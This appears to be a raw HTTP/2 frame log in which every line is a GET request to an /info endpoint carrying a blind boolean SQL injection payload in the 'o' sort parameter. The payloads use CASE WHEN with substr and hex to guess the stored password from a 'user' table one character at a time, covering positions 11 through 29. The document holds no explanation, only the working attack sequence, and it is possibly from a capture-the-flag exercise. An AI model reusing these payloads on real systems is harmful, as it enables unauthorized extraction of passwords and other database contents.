HEADERS[233]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[233]
HEADERS[235]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[235]
HEADERS[237]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[237]
HEADERS[239]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[239]
HEADERS[241]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[241]
HEADERS[243]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[243]
HEADERS[245]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[245]
HEADERS[247]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[247]
HEADERS[249]: GET /info?l=1&o=(case_when_(select_hex(substr(password,11,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[249]
HEADERS[251]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[251]
HEADERS[253]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[253]
HEADERS[255]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[255]
HEADERS[257]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[257]
HEADERS[259]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[259]
HEADERS[261]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[261]
HEADERS[263]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[263]
HEADERS[265]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[265]
HEADERS[267]: GET /info?l=1&o=(case_when_(select_hex(substr(password,12,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[267]
HEADERS[269]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[269]
HEADERS[271]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[271]
HEADERS[273]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[273]
HEADERS[275]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[275]
HEADERS[277]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[277]
HEADERS[279]: GET /info?l=1&o=(case_when_(select_hex(substr(password,13,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[279]
HEADERS[281]: GET /info?l=1&o=(case_when_(select_hex(substr(password,14,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[281]
HEADERS[283]: GET /info?l=1&o=(case_when_(select_hex(substr(password,14,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[283]
HEADERS[285]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[285]
HEADERS[287]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[287]
HEADERS[289]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[289]
HEADERS[291]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[291]
HEADERS[293]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[293]
HEADERS[295]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[295]
HEADERS[297]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[297]
HEADERS[299]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[299]
HEADERS[301]: GET /info?l=1&o=(case_when_(select_hex(substr(password,15,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[301]
HEADERS[303]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[303]
HEADERS[305]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[305]
HEADERS[307]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[307]
HEADERS[309]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[309]
HEADERS[311]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[311]
HEADERS[313]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[313]
HEADERS[315]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[315]
HEADERS[317]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[317]
HEADERS[319]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[319]
HEADERS[321]: GET /info?l=1&o=(case_when_(select_hex(substr(password,16,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[321]
HEADERS[323]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[323]
HEADERS[325]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[325]
HEADERS[327]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[327]
HEADERS[329]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[329]
HEADERS[331]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[331]
HEADERS[333]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[333]
HEADERS[335]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[335]
HEADERS[337]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[337]
HEADERS[339]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[339]
HEADERS[341]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[341]
HEADERS[343]: GET /info?l=1&o=(case_when_(select_hex(substr(password,17,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[343]
HEADERS[345]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[345]
HEADERS[347]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[347]
HEADERS[349]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[349]
HEADERS[351]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[351]
HEADERS[353]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[353]
HEADERS[355]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[355]
HEADERS[357]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[357]
HEADERS[359]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[359]
HEADERS[361]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[361]
HEADERS[363]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[363]
HEADERS[365]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[365]
HEADERS[367]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[367]
HEADERS[369]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[369]
HEADERS[371]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[371]
HEADERS[373]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[373]
HEADERS[375]: GET /info?l=1&o=(case_when_(select_hex(substr(password,18,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[375]
HEADERS[377]: GET /info?l=1&o=(case_when_(select_hex(substr(password,19,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[377]
HEADERS[379]: GET /info?l=1&o=(case_when_(select_hex(substr(password,19,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[379]
HEADERS[381]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[381]
HEADERS[383]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[383]
HEADERS[385]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[385]
HEADERS[387]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[387]
HEADERS[389]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[389]
HEADERS[391]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[391]
HEADERS[393]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[393]
HEADERS[395]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[395]
HEADERS[397]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[397]
HEADERS[399]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[399]
HEADERS[401]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[401]
HEADERS[403]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[403]
HEADERS[405]: GET /info?l=1&o=(case_when_(select_hex(substr(password,20,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[405]
HEADERS[407]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[407]
HEADERS[409]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[409]
HEADERS[411]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[411]
HEADERS[413]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[413]
HEADERS[415]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[415]
HEADERS[417]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[417]
HEADERS[419]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[419]
HEADERS[421]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[421]
HEADERS[423]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[423]
HEADERS[425]: GET /info?l=1&o=(case_when_(select_hex(substr(password,21,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[425]
HEADERS[427]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[427]
HEADERS[429]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[429]
HEADERS[431]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[431]
HEADERS[433]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[433]
HEADERS[435]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[435]
HEADERS[437]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[437]
HEADERS[439]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[439]
HEADERS[441]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[441]
HEADERS[443]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[443]
HEADERS[445]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[445]
HEADERS[447]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[447]
HEADERS[449]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[449]
HEADERS[451]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[451]
HEADERS[453]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[453]
HEADERS[455]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[455]
HEADERS[457]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[457]
HEADERS[459]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[459]
HEADERS[461]: GET /info?l=1&o=(case_when_(select_hex(substr(password,22,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[461]
HEADERS[463]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[463]
HEADERS[465]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[465]
HEADERS[467]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[467]
HEADERS[469]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[469]
HEADERS[471]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[471]
HEADERS[473]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[473]
HEADERS[475]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[475]
HEADERS[477]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[477]
HEADERS[479]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[479]
HEADERS[481]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[481]
HEADERS[483]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[483]
HEADERS[485]: GET /info?l=1&o=(case_when_(select_hex(substr(password,23,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[485]
HEADERS[487]: GET /info?l=1&o=(case_when_(select_hex(substr(password,24,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[487]
HEADERS[489]: GET /info?l=1&o=(case_when_(select_hex(substr(password,24,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[489]
HEADERS[491]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[491]
HEADERS[493]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[493]
HEADERS[495]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[495]
HEADERS[497]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[497]
HEADERS[499]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[499]
HEADERS[501]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[501]
HEADERS[503]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[503]
HEADERS[505]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[505]
HEADERS[507]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[507]
HEADERS[509]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[509]
HEADERS[511]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[511]
HEADERS[513]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[513]
HEADERS[515]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[515]
HEADERS[517]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[517]
HEADERS[519]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[519]
HEADERS[521]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[521]
HEADERS[523]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[523]
HEADERS[525]: GET /info?l=1&o=(case_when_(select_hex(substr(password,25,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[525]
HEADERS[527]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[527]
HEADERS[529]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[529]
HEADERS[531]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[531]
HEADERS[533]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[533]
HEADERS[535]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[535]
HEADERS[537]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[537]
HEADERS[539]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[539]
HEADERS[541]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[541]
HEADERS[543]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[543]
HEADERS[545]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[545]
HEADERS[547]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[547]
HEADERS[549]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[549]
HEADERS[551]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[551]
HEADERS[553]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[553]
HEADERS[555]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[555]
HEADERS[557]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[557]
HEADERS[559]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[559]
HEADERS[561]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[561]
HEADERS[563]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[563]
HEADERS[565]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[565]
HEADERS[567]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[567]
HEADERS[569]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[569]
HEADERS[571]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[571]
HEADERS[573]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[573]
HEADERS[575]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[575]
HEADERS[577]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[577]
HEADERS[579]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[579]
HEADERS[581]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[581]
HEADERS[583]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[583]
HEADERS[585]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[585]
HEADERS[587]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[587]
HEADERS[589]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[589]
HEADERS[591]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[591]
HEADERS[593]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[593]
HEADERS[595]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[595]
HEADERS[597]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[597]
HEADERS[599]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[599]
HEADERS[601]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[601]
HEADERS[603]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[603]
HEADERS[605]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[605]
HEADERS[607]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[607]
HEADERS[609]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[609]
HEADERS[611]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[611]
HEADERS[613]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[613]
HEADERS[615]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[615]
HEADERS[617]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[617]
HEADERS[619]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[619]
HEADERS[621]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[621]
HEADERS[623]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[623]
HEADERS[625]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[625]
HEADERS[627]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[627]
HEADERS[629]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[629]
